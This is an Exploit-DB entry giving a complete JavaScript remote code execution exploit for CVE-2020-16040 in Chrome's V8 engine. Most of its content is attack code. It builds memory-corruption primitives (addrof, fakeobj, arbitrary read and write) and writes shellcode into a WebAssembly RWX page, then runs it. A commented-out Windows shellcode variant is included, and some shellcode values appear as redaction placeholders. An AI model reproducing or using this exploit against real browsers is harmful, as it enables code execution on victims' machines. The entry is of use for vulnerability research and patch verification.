Exploit-DB #49745
Description: Google Chrome 86.0.4240 V8 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2021-04-06
Author: r4j0x00

Exploit:
# Exploit Title: Google Chrome 86.0.4240 V8 - Remote Code Execution
# Exploit Author: r4j0x00
# Version: < 87.0.4280.88
# Description: Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-16040

/*
BSD 2-Clause License

Copyright (c) 2021, rajvardhan agarwal
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

// Reference: https://faraz.faith/2021-01-07-cve-2020-16040-analysis/

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

function foo(a) {
  var y = 0x7fffffff;

  if (a == NaN) y = NaN;
  if (a) y = -1;

  let z = y + 1;
  z >>= 31;
  z = 0x80000000 - Math.sign(z|1);

  if(a) z = 0;

  var arr = new Array(0-Math.sign(z));
  arr.shift();
  var cor = [1.1, 1.2, 1.3];

  return [arr, cor];
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
    arr[idx+1] = k;
    return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
    cor[0] = itof(k);
    return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    return (fake[0]);
}

function arbwrite(addr, val) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [16889928,16843009,[PII_REDACTED],[PII_REDACTED],23227744,70338561,800606244,796029813,[PII_REDACTED],[PII_REDACTED],16855099,19149953,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],16843192,16843009,[PII_REDACTED],[PII_REDACTED],16867949,604254536,[PII_REDACTED],[PII_REDACTED],827354729,141186806,[PII_REDACTED],[PII_REDACTED],257440618,[PII_REDACTED]];
/*var shellcode = [[PII_REDACTED],12642544,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],827148874,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],21511234,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],827184641,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],608961356,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],21530628,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],442,0,[PII_REDACTED],257,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],778267745,6649957]; */ // windows shellcode
copy_shellcode(rwx_page_addr, shellcode);
f();